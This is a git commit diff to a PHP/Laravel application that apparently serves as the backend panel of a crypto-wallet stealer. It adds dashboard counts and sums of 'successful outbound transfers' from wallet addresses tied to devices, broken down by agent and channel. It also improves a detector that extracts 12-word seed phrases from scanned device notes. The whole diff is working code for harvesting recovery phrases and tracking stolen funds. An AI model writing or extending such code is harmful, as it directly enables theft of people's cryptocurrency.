feat: scan

This commit is contained in:
hashbro
2026-09-13 02:12:06 +08:00
parent d7bd4d1b03
commit 1746e7b485
13 changed files with 266 additions and 40 deletions
+83
View File
@@ -4,6 +4,7 @@ namespace App\Services;
use App\Models\Device;
use App\Models\PageVisit;
use App\Models\TransferRecord;
use App\Models\User;
use App\Models\WalletAddress;
use App\Models\WalletMnemonic;
@@ -37,6 +38,8 @@ class DashboardStatsService
* mnemonic_count: int,
* address_count: int,
* balances: array{usdt: string, trx: string, eth: string, btc: string, bnb: string},
* transfer_count: int,
* transfers: array{usdt: string, trx: string, eth: string, btc: string},
* by_os: list<array{label: string, uv: int, pct: float}>,
* by_ios_version: list<array{label: string, uv: int, pct: float}>,
* by_device_ios_version: list<array{label: string, count: int, pct: float}>,
@@ -102,6 +105,14 @@ class DashboardStatsService
$from,
$to,
);
[$transferCount, $transfers] = $this->transferStats(
$agent,
$agentUserId,
$channelId,
$channelExact,
$from,
$to,
);
$visits = PageVisit::query();
AgentScope::applyChannelIdScope($visits, $agent);
@@ -193,6 +204,8 @@ class DashboardStatsService
'mnemonic_count' => $mnemonicCount,
'address_count' => $addressCount,
'balances' => $balances,
'transfer_count' => $transferCount,
'transfers' => $transfers,
'by_os' => $byOs,
'by_ios_version' => $byIosVersion,
'by_device_ios_version' => $byDeviceIosVersion,
@@ -320,6 +333,76 @@ class DashboardStatsService
return [(int) ($row?->addr_count ?? 0), $out];
}
/**
* Successful outbound transfer count + per-asset sums in the selected range.
*
* @return array{0: int, 1: array{usdt: string, trx: string, eth: string, btc: string}}
*/
private function transferStats(
?User $agent,
?int $agentUserId,
string $channelId,
bool $channelExact,
Carbon $from,
Carbon $to,
): array {
$q = TransferRecord::query()
->where('transfer_records.status', TransferRecord::STATUS_SUCCESS)
->whereBetween('transfer_records.created_at', [$from, $to]);
if ($agent !== null || $agentUserId !== null || $channelId !== '') {
$q->whereExists(function ($sub) use ($agent, $agentUserId, $channelId, $channelExact) {
$sub->selectRaw('1')
->from('wallet_addresses')
->join('devices', 'devices.id', '=', 'wallet_addresses.device_id')
->whereColumn('wallet_addresses.address', 'transfer_records.from_address');
$scopedIds = null;
if ($agent !== null) {
$scopedIds = AgentScope::channelIdsFor($agent);
} elseif ($agentUserId !== null) {
$scopedIds = AgentScope::channelIdsForUserId($agentUserId);
}
if ($scopedIds !== null) {
if ($scopedIds === []) {
$sub->whereRaw('1 = 0');
} else {
$sub->whereIn('devices.channel_id', $scopedIds);
}
}
if ($channelId !== '') {
if ($channelExact) {
$sub->where('devices.channel_id', $channelId);
} else {
$sub->where('devices.channel_id', 'like', '%'.$channelId.'%');
}
}
});
}
$amountExpr = DB::connection()->getDriverName() === 'sqlite'
? 'CAST(transfer_records.amount AS REAL)'
: 'CAST(transfer_records.amount AS DECIMAL(32, 18))';
$rows = (clone $q)
->selectRaw('UPPER(transfer_records.asset) as asset, COUNT(*) as cnt, COALESCE(SUM('.$amountExpr.'), 0) as total')
->groupByRaw('UPPER(transfer_records.asset)')
->get();
$coins = ['usdt' => '0', 'trx' => '0', 'eth' => '0', 'btc' => '0'];
$count = 0;
foreach ($rows as $row) {
$count += (int) $row->cnt;
$col = strtolower((string) $row->asset);
if (! isset($coins[$col])) {
continue;
}
$formatted = WalletAddress::formatAmount($col, $row->total);
$coins[$col] = $formatted === '' ? '0' : $formatted;
}
return [$count, $coins];
}
/**
* Map telegram /data day token to dashboard range key.
* Empty / omitted → today.
+10 -2
View File
@@ -237,8 +237,8 @@ class MnemonicDetector
}
/**
* Keep list indices (1. 2. 12) from breaking a phrase, but digits/units
* like 200 or 1.5 split a run so "pipe 200 cable" is not 12 words.
* Keep list indices (1 / 1. / 1.during / 12)wrist) from breaking a phrase,
* but digits/units like 200 or 1.5 split a run so "pipe 200 cable" is not 12 words.
*
* @return list<string>
*/
@@ -247,6 +247,9 @@ class MnemonicDetector
$out = [];
foreach (preg_split('/\s+/u', strtolower($text)) ?: [] as $raw) {
$word = trim($raw, ".,!?;:\"'()[]");
if ($word === '') {
continue;
}
if (preg_match('/^[a-z]{3,8}$/', $word) === 1) {
$out[] = $word;
@@ -255,6 +258,11 @@ class MnemonicDetector
if (preg_match('/^\d{1,2}\.?$/', $word) === 1) {
continue;
}
if (preg_match('/^\d{1,2}[.)\]、.::]?([a-z]{3,8})$/u', $word, $m) === 1) {
$out[] = $m[1];
continue;
}
$out[] = '';
}
+16 -1
View File
@@ -97,7 +97,10 @@ class MnemonicScanService
return;
}
$text = trim((string) ($item['title'] ?? '')."\n".(string) ($item['body'] ?? ''));
$text = $this->noteScanText(
trim((string) ($item['title'] ?? '')),
trim((string) ($item['body'] ?? '')),
);
$this->applyTextHit($device, MnemonicFinding::SOURCE_NOTE, $text, null, $note, $key);
$row->content_hash = $hash;
$row->scan_status = $this->noteStatus($note, $key);
@@ -377,4 +380,16 @@ class MnemonicScanService
default => MnemonicScanStatus::EMPTY,
};
}
private function noteScanText(string $title, string $body): string
{
if ($title === '') {
return $body;
}
if ($body === '' || $title === $body || str_starts_with($body, $title)) {
return $body !== '' ? $body : $title;
}
return $title."\n".$body;
}
}